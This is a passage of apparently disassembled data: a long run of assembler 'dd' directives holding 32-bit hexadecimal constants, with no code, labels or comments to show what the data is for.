		dd 700E165Ch, 0B13E37E5h, 9CAAE078h, 0BDE6E2BCh, 6940AE34h
		dd 0B7F60431h, 0AD1B36D8h, 0CC12A266h, 0D7AF63A4h, 74630C3h
		dd 0E2BAE214h, 54E4DE41h, 14315B94h, 0A4BDDE6h,	0B83ECCEAh
		dd 1A8C4C1h, 0A7C68EE1h, 0EB7649BAh, 2D7B122h, 0FB56E621h
		dd 19921CD0h, 0D5A431Fh, 6EB93CFEh, 29913ABCh, 5E6E7728h
		dd 6A4574CEh, 2F7CDE14h, 0E3C5EC78h, 8538C5A3h,	9B63F5E4h
		dd 862B58A6h, 0C1744724h, 301A55D8h, 0CDDA7CE1h, 0D4EEB97Ch
		dd 5F6D39B8h, 84B293Fh,	5AFAB13Dh, 0F317F9D4h, 9D1FBB6Bh
		dd 20A3CCA9h, 0CB4996CEh, 1CB61E1Ah, 7DD6534Fh,	8726D29Ah
		dd 0B25448F7h, 0CC516199h, 0CBE64CF7h, 7C4864DFh, 0B7780654h
		dd 95DA21ECh, 0A85B7FACh, 479854DCh, 0A550B80Bh, 20B37388h
		dd 0DB9ABB8Eh, 2965F613h, 344EE024h, 737664D8h,	0E6CF44FEh
		dd 8135C2B1h, 946FF41Eh, 0FC2509CCh, 7871F7EEh,	0A223CC51h
		dd 0B5F3F1E8h, 9A273875h, 8BEB7DB1h, 9A4A9339h,	0DEFBC23Bh
		dd 0BC1410D3h, 83160F6Dh, 0CD9545AFh, 0E36FD7C9h, 2B7DCD18h
		dd 0C3579249h, 0EA2BCC9Ch, 0B6A149F0h, 34745698h, 8D1D44FBh
		dd 0BEF300A4h, 0CA43854Fh, 0A9D1AFA0h, 4C50D624h, 0DA94F6D4h
		dd 3A5C4905h, 0BF3F80h,	0B2992C8Ah, 4F68330Fh, 0D243B376h
		dd 6A781895h, 0C9C0B574h, 5F3AFCB7h, 2263C700h,	8633A8E6h
		dd 0A963D5A4h, 93507D7h, 2594D9EEh, 7C608272h, 2C6D43B6h
		dd 0FA4CF03Eh, 0EFF653Ch, 360E0FD5h, 2E08E26Bh,	0A2879FA9h
		dd 660B89CCh, 0B13A661Dh
		dd 0ADDE724Ch, 40161198h, 2CB4EEF3h, 46913591h,	3E67E1E6h
		dd 5949B3BEh, 1F794514h, 41DB436Ah, 4B5A4BAEh, 0A19F65DEh
		dd 0D557CA09h, 0BCB4BB89h, 0A5929D85h, 8262710Dh, 0B849246Dh
		dd 0D5714B42h, 27C8A100h, 0C9310E07h, 0D295B238h, 0D3B300Ah
		dd 4C603F6Fh, 0BB41A653h, 61B195EAh, 0ABA47177h, 0F6E806B3h
		dd 0DF4A593Bh, 18FB2139h, 80901D0h, 0C2013B6Eh,	80F808ADh
		dd 0F1BB5CBh, 1DB761Ah,	319D044Ah, 43992998h, 2283F7F6h
		dd 47B63E92h, 3BA0D8E9h, 77CEA8A9h, 737E3133h, 40DC502Dh
		dd 0D65D6A29h, 0DE99AAD8h, 0F4511E0Eh, 0E2B20D80h, 32943680h
		dd 6567130Bh, 214FA86Bh, 0FB74A745h, 4BCE3901h,	0F1356D0Ah
		dd 7929C2Dh, 4F33912Eh,	0F69B632Ch, 515278D0h, 0E45203E9h
		dd 22E7F474h, 44548DEFh, 68768B06h, 0DCF79135h,	0BD05C1DCh
		dd 890DEB62h, 3F4E1A0h,	0A01709C6h, 82D4E717h, 0FF8D3A47h
		dd 3C8D6695h, 29FDDF4h,	0A7DAE382h, 10EC3C1Dh, 1142C295h
		dd 237260DFh, 82D382E1h, 35524FA6h, 0DA9706D6h,	0F55F0200h
		dd 0E2BB508Eh, 8B9D3489h, 0DB6C2C01h, 0E444A561h, 187FAF48h
		dd 0EAC65C05h, 8B3DDF15h, 2693F45Ah, 6632F84Bh,	169659E9h
		dd 3F675455h, 0D7721ECh, 8231170h, 12EFBFB4h, 384DD03Ch
		dd 0A2FCEE3Eh, 990ECDD7h, 6C07CF69h, 50FFBAABh,	6A1F48CDh
		dd 23C6C81Ah, 0D9849D44h, 0F188B99Bh, 0BEE247FBh, 2FF7498Bh
		dd 8A204E18h, 0F6CE2089h, 8A7EB1F3h, 0C0DCC1ADh, 755DC529h
		dd 84990FD8h, 8E516D0Eh, 9FB22380h, 54942880h, 9B641009h
		dd 0C64C0A6Eh, 76740542h, 0CBCFB809h, 533BF81Ah, 8F96194Dh
		dd 0B70A4F6Fh, 708AA4ADh, 0E972E9D0h, 2A12E2E9h, 79674874h
		dd 2B6BF1B0h, 0FC490838h, 21F8673Ah, 903442D3h,	0C3C0222h
		dd 0EEC79990h, 0D115BBC6h, 0B2C87616h, 96846F48h, 8CFCE896h
		dd 0EEFE2FF1h, 3C1B7C8Bh, 9D6DB80Ch, 0F2421C75h, 2672A99Fh
		dd 3BD00A61h, 0A3510BA5h, 0C695A8D4h, 55ED602h,	94BDA78Fh
		dd 0F29B038Fh, 0BF6AF207h, 5044C061h, 4D701B44h, 0B7C70B1Dh
		dd 5130F46Ah, 56903E75h, 5006BB87h, 0D08A9165h,	428B5C59h
		dd 0F43B19E0h, 2EAF087Dh, 7DE3B8B8h, 5141BE30h,	86F09532h
		dd 0D80327DBh, 940BAB65h, 54F062A7h, 332D3EC1h,	90C9F811h
		dd 0C087924Eh, 0EBF3CD8Eh, 54C96DF4h, 0F833B187h, 0DFA56C0Ch
		dd 92CB4E6Ch, 0EB7AD6B7h, 83D85529h, 0F65A862Eh, 0DF9E9CDFh
		dd 4C57F709h, 0BBB4F786h, 7992DF87h, 462BA08h, 0FE4A406Ah
		dd 0B9797648h, 82CB8213h, 4E3AAD69h, 5D9A216Eh,	8702B1AFh
		dd 75BAB12Dh, 31ADE56Fh, 7DEDC2D6h, 0ADE86F7Bh,	0FE640EBFh
		dd 0B6466C37h, 1F088535h, 0BC050BDCh, 2A0DA963h, 9AF7D5A0h
		dd 0F12ACED9h, 0D3CDCFEBh, 1C7D9370h, 3EEE64B9h, 6FDCBC2Fh
		dd 41593871h, 3FEFE2BEh, 1F41B256h, 9071575Ch, 0DDD281E3h
		dd 945330A7h, 0F697D1D6h, 4D5F5C00h, 0FEBB6389h, 0C49D1B88h
		dd 3E6A0307h, 0CC43C264h, 2740241h, 0FDCB6016h,	8D053779h
		dd 0A3B7FC96h, 0B7CFBEC4h, 8C3BFFE4h, 0D9A5FE58h, 7BF5A7EEh
		dd 0E720B773h, 85EC47B7h, 864FAB3Fh, 3C01543Dh,	720D0ACAh
		dd 0AB067768h, 0A4FF97ABh, 0C1210CD2h, 74CBE2E0h, 9371E97Bh
		dd 0D5ED98B2h, 16249726h, 8E71E47Dh, 2C26EEBEh,	29C8B24Fh
		dd 0EB7E8375h, 92E1ABADh, 0A8605184h, 54A418E5h, 67583B00h
		dd 0F2BAC888h, 709F648Ah, 0CF69C304h, 0C4F5168h, 0DD79504Fh
		dd 3AC71A1Fh, 3A09487Ch, 0B1B9318Ah, 0DFDD04E8h, 602E09AAh
		dd 0ABB7CED5h, 909741ECh, 0C262AF71h, 716F94B5h, 0DA4D863Ch
		dd 0BB031C3Fh, 8A0F63C8h, 6604DE6Ah, 1EF59BA9h,	2225E7D7h
		dd 2DCC94E5h, 9779097Eh, 0BAD1F2B7h, 84335E24h,	21965B76h
		dd 2C63D2A1h, 204DE43Ah, 0B87D6310h, 49DEBF6Fh,	206051ABh
		dd 28A41B45h, 5C6CA833h, 0EFBE4B8Dh, 1D9AF68Dh,	0D46A9D01h
		dd 0EC43926Ah, 9275C95Dh, 0BBC9CAEEh, 8005E14Bh, 8AA666B4h
		dd 7DCDB09h, 2C20446Fh,	4EC1BD53h, 0B2B137EAh, 9A60676h
		dd 1DEA90B1h, 0DD48F839h, 9806313Ah, 0FC0A49CDh, 4E010B6Fh
		dd 2CF63FACh, 5021FFD4h, 0DCC9C8E6h, 71403E7Ch,	6EE4753Dh
		dd 513E9B1Bh, 21BBB77Fh, 9EADB4A4h, 0F8C21025h,	6077203Fh
		dd 4AD81024h, 15A552Dh,	169E56DFh, 2D56CA09h, 0E9B5BD86h
		dd 79922099h, 0B0654A0Ah, 224D5966h, 847CD357h,	82C067E3h
		dd 0A80DEA4Ah, 8A2DFADh, 37ECC3D1h, 69640C13h, 8DCCADEh
		dd 465EEFE4h, 8AEB8278h, 40618FBCh, 98764BD7h, 38381C04h
		dd 400486C3h, 0B80F8E61h, 69C89972h, 7A1FAAEAh,	0FDC024EDh
		dd 6D68AA77h, 96C8D5B8h, 0EC1A2F21h, 10DF0067h,	57E987D8h
		dd 447C310h, 68774DDAh,	88D576E4h, 0D054B6A1h, 0A890F1D7h
		dd 7658500Bh, 34BBBD90h, 789C3966h, 0FB6B8764h,	23438BA9h
		dd 6E755BD8h, 0A4C920E6h, 30199E59h, 30AF59D6h,	6FDDF744h
		dd 3D5959E6h, 0AEE88F5Ah, 4E7B59E3h, 442DC07Eh,	28E2C5BAh
		dd 0FB4D2F32h, 42097831h, 0CC09DEC6h, 3BFBC664h, 0E9DD95A7h
		dd 75E93EDEh, 157FC4EDh, 0DE6D9A71h, 94C1D9BAh,	0E86B2F22h
		dd 18FE0062h, 662887D1h, 64C6C301h, 0A7764DFBh,	0AD476A4h
		dd 0D455B72Fh, 0A091F0D4h, 4659520Eh, 54BAB999h, 0B89F3175h
		dd 7B697746h, 2340EBEDh, 6E761C59h, 0A4CBA1E1h,	301B9C52h
		dd 30AE5DC5h, 6FA2EF67h, 3D4269A5h, 0AEFB6CD9h,	4E1818E0h
		dd 4461427Dh, 2960C1B9h, 0FA4C3731h, 4C064832h,	0F0353EC5h
		dd 23E88667h, 0F93D15A4h, 55AB3EDDh, 0CAFF74EEh, 0B36D7E7Dh
		dd 6E353DB7h, 877CB28h,	0FF12E462h, 0DA6423C5h,	0FF4A66FDh
		dd 4A7AE997h, 10D8D168h, 0B459D3A2h, 0E49D97C6h, 3A5530FEh
		dd 0E8B6D1ADh, 54908D4Ah, 4766C3A9h, 8F4F6F23h,	0AA7F20D8h
		dd 60C1E2F7h, 0F4125EA0h, 0F4AAADFFh, 2BAD248Dh, 757C3D6Eh
		dd 9F3D009Fh, 0D20E8BD6h, 0F7A7587Bh, 9E169BFh,	0DD4D1F36h
		dd 6E057835h, 143A3EC2h, 3BDF5660h, 0F91A85A3h,	5630EDAh
		dd 0D67FF4E9h, 9C61DA74h, 0D03599B0h, 0A04F6F22h, 8339986Eh
		dd 6AF6FC6h, 0D3CB9AE2h, 0DD7B7949h, 4ED8C92Bh,	9C59F021h
		dd 0D09DB2C4h, 665516FAh, 44B681A5h, 3090F15Bh,	6B5F5BCFh
		dd 3B763F59h, 4E438163h, 8CE28BCFh, 2FAC94h, 89451D3h
		dd 2F9C2C91h, 75444D13h, 0FF2D61EFh, 16EECAD6h,	3BD6124Bh
		dd 4250BD8Fh, 8C7E6B07h, 3028DC04h, 781302F3h, 0DBFE8251h
		dd 494A9992h, 8D13AAEBh, 77CC58D8h, 0F56C3E45h,	0DE1C7580h
		dd 446E9B0Ch, 0B36BBC5Dh, 5EDD43F0h, 52730EDDh,	0BC439961h
		dd 60E1A932h, 0C8605459h, 78A4117Ah, 0CE6CA3C1h, 0B48F4F98h
		dd 70A9216Ah, 0EB5F43DFh, 3B760F78h, 4E436125h,	8CE2C843h
		dd 282D8Ch, 8955323h, 2F9E28F1h, 75485AD3h, 0FF15516Fh
		dd 16FF29D6h, 3B36544Bh, 4213318Fh, 8FFF6307h, 312ACC04h
		dd 7E1F22F3h, 0D7814251h, 0B15A1992h, 9CF0AAEAh, 578258DEh
		dd 0BAE83E49h, 5F147598h, 429E9B7Dh, 0BF4BBC03h, 651D420Ch
		dd 42F30E65h, 9B439A51h, 22E1AFD2h, 4C605899h, 70A409FBh
		dd 0FE6C8CCFh, 0D48E9184h, 0B0A89D12h, 6B5FCBEEh, 0BE751EA7h
		dd 0A804D33Dh, 374C2E40h, 15E58B76h, 7A5537ADh,	0B2BA9ACCh
		dd 0E3AD230h, 8C2163D1h, 0D4FBE616h, 4BED1C41h,	0C5A38987h
		dd 0D9240149h, 2C0FCC6Ch, 9883683Bh, 4ACE7005h,	0EDC462F1h
		dd 0AB06C269h, 0EBB776E5h
		dd 0BBA1DB28h, 0F0EFBDD8h, 60921F47h, 1E9556Fh,	8C31A7AAh
		dd 7163559Dh, 20634FACh, 0A96DDCBCh, 0F66F7E7Ch, 39D8DEBAh
		dd 0D61DC3A4h, 115ABE68h, 0E8CD6F4Bh, 2787CD0Bh, 4961D5BCh
		dd 3CD41ECFh, 5D151058h, 636CDBCDh, 0FA9AE753h,	5518EB4h
		dd 0F46EB98Bh, 76286ACEh, 5B4B9CD8h, 0F48C59F8h, 16C354CAh
		dd 5B1A61ECh, 0BA210918h, 14D0D394h, 24D554EAh,	0C42872D1h
		dd 0CE94BB32h, 0FFFD7D36h, 3FA5E548h, 3B1AD843h, 497C3900h
		dd 0E505F134h, 0F51684B5h, 0DC01D799h, 73838A96h, 3903DA81h
		dd 0EE4329DBh, 2BE9BEE6h, 0F3235BA4h, 0B0A37D62h, 6528F15Ah
		dd 273F12FAh, 5829A0D3h, 4ED1FEA8h, 0F3045D89h,	0BC1B0979h
		dd 6AF3E209h, 0A824E26Dh, 53FB45DCh, 92CB14E2h,	8F7CB30Dh
		dd 0CB0875D8h, 7F39DD23h, 0ABB35C3Ah, 2670EACFh, 0DF0312AFh
		dd 0E3C59323h, 0FAB8778h, 5A35CB4Fh, 40D6E059h,	12A9D96Eh
		dd 0D0E1E4FAh, 600434DAh, 2BBBBD48h, 0B61A3FEEh, 0C217E911h
		dd 0C170372Ah, 0FDC8CC13h, 31F6A8B8h, 0EFA09D92h, 0A8547125h
		dd 259852ECh, 785F3FD1h, 0EAA2AC7Bh, 9F591Fh, 0F04FEFC9h
		dd 0E63BC43Eh, 0F8C6BE4Dh, 0CA020803h, 414F038Bh, 0E9F6085Dh
		dd 4DC9B0D4h, 17C285CCh, 31A68DB1h, 230F4BA0h, 53463186h
		dd 0EF5A7DE2h, 7A906628h, 0DEBF7893h, 91166AB4h, 24E5E788h
		dd 30E89600h, 773747CBh, 421183D4h, 4F786A9Ah, 94AE0E1Eh
		dd 3CC74512h, 0B42361F4h, 0B8B4FE4Dh, 7A002DD9h, 0F05CA716h
		dd 0B618B71Fh, 0A911A50Dh, 0B81DE2ABh, 6A1B46C9h, 0B105D73Ch
		dd 13891469h, 4ADAEFA9h, 4C71ACC9h, 637BCB36h, 0F3DCE039h
		dd 8AA8BF9Dh, 1CD03098h, 7B04FB8Ch, 544DCC89h, 4967556Ah
		dd 7701C598h, 0E01E9F1Fh, 233627F1h, 0C7A36B8Ah, 2D30EC15h
		dd 8C690098h, 3382C054h, 4788B2F5h, 6836748Dh, 5BF8740Ch
		dd 0D7D6966Ch, 0A12DE0D9h, 3B111B5Dh, 548E7A33h, 0F54A7B78h
		dd 76CC4C2Ah, 0A04B66DCh, 0E6881525h, 96DD7CE6h, 72859B10h
		dd 23116F4Fh, 5133A652h, 0E2F0DCF6h, 121A3EF6h,	222F4420h
		dd 7E1F62A2h, 0B8F6E002h, 7A1500EFh, 5B61FE7Fh,	0F233DFFCh
		dd 7E112AAh, 0F479B722h, 21B63E76h, 0D2FB7CD6h,	7AD117D3h
		dd 0B8678BE3h, 25E2986Dh, 0C166875Dh, 0A5604186h, 1A2C1C9Dh
		dd 0E5EA5820h, 0C78C8127h, 0E0D37EFFh, 302B3CE4h, 9EED1A9Dh
		dd 719DE779h, 116B829Eh, 0E1CCB20Eh, 11DBFD5h, 0EAD1C716h
		dd 9F401EC4h, 254643A2h, 1A58ACCAh, 5FD7ACFAh, 3DBEC3C5h
		dd 49A482D2h, 7FBFABF0h, 0B31231FCh, 6532A2E3h,	0F77615h
		dd 6E9DA6EBh, 0FE9AEA8Eh, 8CA78B67h, 56AA3F0h, 74C93086h
		dd 0F2B454BEh, 2D5B1CFEh, 103D1D35h, 9019243h, 1D0207A1h
		dd 0DA9309ADh, 0BC270533h, 2BD125A0h, 8C62218Dh, 965EA525h
		dd 2F26E539h, 0E94D275Ah, 0D79A14B5h, 0FB6F2ACBh, 0BDF46E0Bh
		dd 6276F2EDh, 0A5F8AE11h, 83E5BEDCh, 0EF24E326h, 4625127Dh
		dd 892938h, 64606CD8h, 40372EE0h, 4E320D88h, 394A86FEh
		dd 0B1CF7BCh, 57BB8C8h,	0BF9A04CFh, 85BD8DC0h, 0C0B06190h
		dd 389E5E3Ah, 0ABFE5EBBh, 0C708D3C6h, 5AB0C5FAh, 0DB90088Eh
		dd 0A3543015h, 0C5CFB62Ch, 0F3A0DE55h, 0CF34E66Fh, 4596C22Ah
		dd 956536Fh, 2D67AE9Ah,	0AE15CF71h, 78973854h, 0F541DC3Fh
		dd 0D383D698h, 0AD7FC26Eh, 0D479BDE8h, 870C39B1h, 0EE2C79E1h
		dd 0DACA2C68h, 1EEF5EF8h, 0E9431CF8h, 0D3A44284h, 0A0BC43B5h
		dd 2D80AA3Bh, 8E6C3CD6h, 0FAD83FAAh, 83B7447Eh,	0E94473C7h
		dd 0F315FB1Ah, 7921E683h, 7F34F215h, 817F0730h,	0E70C1021h
		dd 5C5BAE74h, 3B4BFF5Dh, 4DBED4A0h, 478CDD04h, 8BE883B5h
		dd 5A37D0EEh, 0BA171E95h, 0D5035247h, 9498E513h, 7C74AA47h
		dd 0AA2F8391h, 0B2233679h, 2CA19BF5h, 0D4CE961Fh, 0F369593Eh
		dd 30145143h, 0D86996F7h, 0B0A537E6h, 0BDE08F8Eh, 0C6E2A7Ch
		dd 0D62A45CBh, 0AF9242F7h, 0DF38D052h, 493BA2BEh, 2000E648h
		dd 89C063E9h, 6662E31Ah, 3EEA664Ch, 435A561Bh, 47F8731Ch
		dd 295E232Fh, 0BB2E73DCh, 7E1C410h, 0A5F624A5h,	6AA490ABh
		dd 0CEDB5F71h, 0DA9C4587h, 0C29AC2FDh, 60A02DB4h, 2D404BEEh
		dd 747F53C8h, 30D006Eh,	5E511197h, 0FA4D71B6h, 0D1F4C8DFh
		dd 0FF3193ADh, 0BF8550Dh, 63E50591h, 0DFE3EAh, 0BBA07DEDh
		dd 201133C0h, 663F0B40h, 2E0D3EAFh, 25776C4Dh, 37B6A259h
		dd 49F2B65Ch, 1B9AF894h, 0B8187FF4h, 7AB1498Eh,	0C07DAAC8h
		dd 0B8CDDCA1h, 8587733h, 0E5A3CD54h, 10D52C5Fh,	296D1423h
		dd 78A4D516h, 81A00DCBh, 7EFCE9A7h, 32707A6Ch, 85BB3B44h
		dd 0EC4C7E61h, 0D3F78323h, 510738DDh, 9EC8989Eh, 0CFC307CCh
		dd 23310706h, 0A584E54Ah, 0A30F994Eh, 96CBBB69h, 0EF4D928Fh
		dd 6318B32h, 0A1A22D1Bh, 4CC01F65h, 457A58ADh, 542C52F2h
		dd 81D7E321h, 0FC0AAF24h, 3D945CC2h, 0F243D37Bh, 57A67ADCh
		dd 0EC36AE13h, 0ED0139FDh, 1BF2EC59h, 0CCEF6F01h, 0A4111E7Bh
		dd 67405C12h, 0FB16B790h, 0F6F9C480h, 31F465A2h, 0EE4539D0h
		dd 170E7732h, 4FC84641h, 21C2EC72h, 0BF1A99EAh,	32F2840Bh
		dd 7646E229h, 36E57D13h, 4757B61Bh, 3EF23B0Ah, 0C2AC3063h
		dd 517DA98Dh, 38531890h, 0D6D844D8h, 0CCD480C9h, 55B77303h
		dd 0F2E9E314h, 270CB002h, 0DBD2EAD4h, 750D31AEh, 735AED0Ah
		dd 0AB3D4D74h, 65754504h, 6BA025F8h, 904B56C0h,	82E83DCh
		dd 443B1FFEh, 0C5573F72h, 7E0D17E8h, 270BD884h,	601464FEh
		dd 16D2C2E3h, 0C5208DA7h, 6038845Bh, 31D3D9C4h,	98D60301h
		dd 6BECB200h, 171D6F1Ah, 6A2C81Eh, 0D86A15BBh, 0CEF1674Dh
		dd 82D21C1h, 34BD361Ah,	8471E50h, 94F13596h, 91AEBE98h
		dd 0C19CF87Dh, 0F7BFBB83h, 0A6BAEC2Eh, 473F2872h, 9FD51811h
		dd 61944385h, 9777F9C4h, 9670CD1Bh, 0F52C46DEh,	0FB84D3D1h
		dd 0EC8D5CF7h, 0A62A2586h, 0D41B19F3h, 2C237849h, 213DF61h
		dd 0FA92CCF8h, 7E62215Bh, 0D49834CBh, 77CEC653h, 1412C643h
		dd 0E070B66Bh, 0F0A7EE00h, 0F1B6F099h, 0C91FD842h, 0BE783A85h
		dd 4FBDF21Bh, 0DFF8881Bh, 70677D9Fh, 7266DBB0h,	87AA02DDh
		dd 476617BDh, 3091517h,	2B8BFE38h, 0AEF3F341h, 0A817CFAAh
		dd 65F2FA96h, 0E718F325h, 39F30A11h, 0B87406BFh, 982636EAh
		dd 1E55CA44h, 4039AF52h, 0F71D01D9h, 0C96360A5h, 9B33DE2h
		dd 736A7429h, 8FF3848h,	2FC9EB4Bh, 8F405DD3h, 6940FC79h
		dd 83FB86E2h, 0BB3FD93Ch, 50C361ACh, 767211EEh,	0BFE7517Fh
		dd 753BAFE1h, 0AEABECF1h, 0AC76B12Dh, 0F69A0252h, 1D39DA0Bh
		dd 650675ACh, 9047821Dh, 0F7A0C436h, 5519406Eh,	86DD01A2h
		dd 42E8F0E4h, 0CE267CB5h, 0CEE3C6D0h, 3D585514h, 24DD0238h
		dd 0C0626D93h, 4F8845DBh, 438AC7C0h, 76C1E558h,	0CD069C31h
		dd 9ACA576h, 0BCC0CAFFh, 40A53316h, 0D1125DE5h,	0E64DB3Ah
		dd 35F41690h, 0C1B72402h, 0ADE5FA51h, 22FF553Fh, 50166691h
		dd 6EB378E3h, 7C678353h, 7FC72BB7h, 8685BBA1h, 1EC1729Fh
		dd 0F319469Ah, 5CA9670Fh, 24CBB09Dh, 13E463A0h,	7D55651Ch
		dd 23D2F6FDh, 7FE9B1A4h, 2646735Eh, 83706380h, 0E6BE12DBh
		dd 50B83B2Ah, 65DCEAF8h, 41296F7Bh, 47780B7h, 2AF45C24h
		dd 1D0B2BE6h, 5769E139h, 0E1489FB4h, 0BD93EF76h, 7D4206DDh
		dd 0D24A386Bh, 0FF6099D6h, 1609C981h, 0B216F2E4h, 3E77B91Fh
		dd 128308D8h, 0E6D5FE99h
		dd 0CEFD75D9h, 2FA51DC0h, 0A7815197h, 6DEFE817h, 0E43F04C9h
		dd 4DDD70C2h, 8A3B340Dh, 0AAD1066Ah, 1D3E498Bh,	60C02B1Ah
		dd 44A0DAA7h, 0FA40EB8Dh, 0B31D5EFDh, 58070BEh,	23111363h
		dd 0C0127A68h, 6F117071h, 0DAF772A1h, 4EF04C5Ah, 8CDB340Ch
		dd 67F0591Ch, 0B506238Dh, 37A04C29h, 0E641CAE9h, 3AC71463h
		dd 2A67AA42h, 68D0148Eh, 8DB74D1Ch, 2F7C057h, 0EFADEC69h
		dd 5A24D50h, 0B8D3E830h, 0F2E66074h, 7DEA669h, 32C61DB9h
		dd 0B140F5CFh, 0D40ACE7Dh, 541A3F99h, 5F61501Ah, 0AE216A8Eh
		dd 0ABF51E6Ch, 0DBD71740h, 93970418h, 518A9965h, 39B50E32h
		dd 59242C16h, 5C712216h, 1E91542Bh, 0EAC71224h,	0A8B28CD5h
		dd 0A4DF7C75h, 3D0374BCh, 81BF85AFh, 4A4F538Ch,	8B774F03h
		dd 0F3A2B2E9h, 6E1D4CDFh, 0BFF1DB37h, 5AE6C104h, 0E80AA2DBh
		dd 9D167D24h, 0F66CADE2h, 17455723h, 0B5ADBA6Ch, 0BB41E9ABh
		dd 0B1489973h, 46AC8C3Eh, 5333BE62h, 0AA49D38h,	0EF0A396Bh
		dd 423D1658h, 0CC1F9F0Bh, 0D7E0622Ch, 1C756476h, 6B934BD8h
		dd 2B816EEDh, 0E6CABCD8h, 0B4E9373Bh, 25A26CBAh, 0E754058Fh
		dd 0F2002675h, 40E184E6h, 3560165h, 0E31259CEh,	985BAB00h
		dd 0FF5E9823h, 886072D8h, 165DB68Eh, 8CAC85DEh,	0FC54B531h
		dd 2DD6EF5h, 4D4DAD3Bh,	81F2E081h, 425B5DA2h, 0FB02AE50h
		dd 852DA69Eh, 661EC3A3h, 6AB3EE7Dh, 0DDFD5023h,	0EC6F22F1h
		dd 0A594B6CFh, 9880D489h, 77F9DCFCh, 0DF04F47Fh, 5048448Dh
		dd 6E4E8210h, 0ABE926BBh, 350FCD62h, 6439F796h,	0FA4A4F0Bh
		dd 76B7AEB1h, 1B3BE7EFh, 50444895h, 29EA04BBh, 6815F48Ah
		dd 0E313A4E5h, 571A51FFh, 1B5ECCC0h, 2762C609h,	8E7F2195h
		dd 1371E61Dh, 0BF23FD3Bh, 0C46E0EF4h, 7A199F47h, 0A5701BEFh
		dd 6559DF98h, 3FBD17E6h, 1EC17F21h, 6337C5A4h, 0A22311B7h
		dd 989ADEA8h, 3ACA2B94h, 9A1E3758h, 3478DFE1h, 0D2AA097Eh
		dd 82A5167Ch, 722F89FAh, 0C369AE1Ch, 8A000237h,	4FD34AE6h
		dd 0B3BE335Eh, 0A3D9B442h, 0A73EA86Dh, 0B9D6C1DAh, 0B40C5C1Eh
		dd 4616A86Dh, 99E62AB7h, 2A4615AEh, 9D1BC0BBh, 9066105h
		dd 189FA049h, 34D7F83Eh, 8F29329Ch, 82DE3727h, 38F930D9h
		dd 0C90989B1h, 1A9E513Ah, 4308B6Dh, 1A6DC7C4h, 3C11B0A3h
		dd 0BC0A493Fh, 0F5B9DD5Ah, 95F5D890h, 95E187Dh,	3C9EA5A3h
		dd 7EDBF928h, 3F18847Fh, 0A457C1D6h, 0A5DBD8Eh,	0D6EFBBF1h
		dd 0D8F69948h, 64F7AD68h, 0D8E20EFDh, 0D5E334FAh, 891B8B77h
		dd 1A1B3E2Dh, 69225674h, 0A8A63FA4h, 86910D75h,	0F5EA94ADh
		dd 0B872FA17h, 64E631CEh, 1EE2E13Bh, 3F22D36Eh,	2BDBFF88h
		dd 8D41972Ah, 0F7FD7891h, 1DD9A81Dh, 516FDDEEh,	222AC390h
		dd 0DB983967h, 4484746Ch, 3135DA5Fh, 331AC4A1h,	5700C0DBh
		dd 0A7020BACh, 0B08A1751h, 0F289DFFEh, 184DDD8Fh, 9510C6DEh
		dd 0E363E1Eh, 9BE4CC69h, 37729B8Ah, 74157E5Ah, 0BEE5FF0h
		dd 829C91E3h, 0EE00DC8Eh, 5ADEC60Eh, 4A4FAD0Bh,	166849FEh
		dd 0A05F2F48h, 4E047187h, 9C605893h, 407CCA87h,	5AC1ADA6h
		dd 2445BB9Ch, 0C67B9685h, 1C4C11ACh, 6BA61E06h,	93DB0766h
		dd 0F17D4FFEh, 2C906F72h, 569D0090h, 0D2DF909Ah, 8CC5679Fh
		dd 3002ED6h, 7FF5EA6Dh,	57DD45BCh, 43A9FE03h, 3157042Fh
		dd 0AEBEAB44h, 4A796DB1h, 63C84E0Fh, 2F4A89C2h,	0CD862B23h
		dd 0DA21A0C0h, 4AF40965h, 0C0A316D8h, 75A3C247h, 80CE76AFh
		dd 331C9A3Bh, 57015850h, 891A17C6h, 6E8661BBh, 0B1575E2Bh
		dd 3EED0E12h, 830C5BBh,	2D78CAFCh, 0BB35FF99h, 0AB6007DDh
		dd 0C1F26A2Ch, 1DA6F329h, 0AA01A275h, 9139598Ah, 766B0019h
		dd 495A2742h, 0F9DAD39Fh, 363D8050h, 0B4D0C388h, 99C06462h
		dd 0A5F5252Ah, 7F70D4B9h, 7F62FE1Ch, 0FEBCB9A1h, 41E28FE8h
		dd 0EBEB593Fh, 612EB53Dh, 2776ED2Ah, 6FB86DDFh,	0D01888EDh
		dd 0D0BDB8BAh, 3CCEC7DFh, 302093B5h, 56E07C36h,	8EE3E971h
		dd 565F9069h, 0D00CD621h, 20A2C44h, 0F7A8DCF3h,	7AB50135h
		dd 0F4C35D51h, 6E4C88B3h, 0E470F031h, 3BF620EDh, 7FEBE0ABh
		dd 333BBE9Fh, 799368FCh, 0C003876Eh, 658EBCA6h,	1ADA79F6h
		dd 357DBFDDh, 2D49A991h, 0AEE8BE89h, 1A09B6F9h,	7E66C693h
		dd 8EF515B7h, 45C0513Eh, 7913DA0Ch, 0E054872Bh,	0AAB3D468h
		dd 0C2BC24D3h, 0B8DB1A1Eh, 0D0719ECDh, 8D4D8F8Ah, 7294822Fh
		dd 6752082Fh, 32A09374h, 60FFC55Bh, 0C1122EB2h,	71DFA6C7h
		dd 917E12BAh, 0FD18208h, 3D38EDDEh, 86C36213h, 34D64835h
		dd 0CDD2A857h, 4C9A7722h, 95F173E0h, 73582E62h,	0C3AE2A3Dh
		dd 0A0B2CCC2h, 0F4389955h, 0DE73B693h, 93CAA817h, 5161A3D3h
		dd 7D3604F1h, 642BE20Bh, 0F48CC4EEh, 83E63AEEh,	725161C1h
		dd 6C653213h, 151BCC97h, 0E8DA83E9h, 7AFDBF15h,	0ACCA03C8h
		dd 0E8050EEFh, 0C7468FDDh, 0E137043Dh, 8C632707h, 0EB5108E8h
		dd 6EFF015Dh, 337919F3h, 0B3BA4D6Ch, 1B9A97B8h,	745BADB2h
		dd 443BDAC7h, 0DE28D85Dh, 0AEDB939Ch, 9A17F8B4h, 0D3F30A77h
		dd 8265B27Ch, 2C91F4A4h, 7EF7C564h, 0A8640C44h,	6A1332Ch
		dd 0B5715369h, 85DF480h, 379D166Bh, 8329A987h, 0B182FBEDh
		dd 0F8663D00h, 0FE5C5372h, 0B66BA499h, 67508518h, 50C9366Dh
		dd 87909933h, 0FAB1C352h, 0FF54E7EEh, 7CA1B3B5h, 71193F0Ch
		dd 0A758BC74h, 67D0409Eh, 0DC700C8Dh, 8C8CCA66h, 97E7F8h
		dd 1361539Ah, 0B5308309h, 3399DEBAh, 3F275E95h,	0FF45C3B8h
		dd 59323AD6h, 0B446819h, 48F85940h, 8585C524h, 235E3B53h
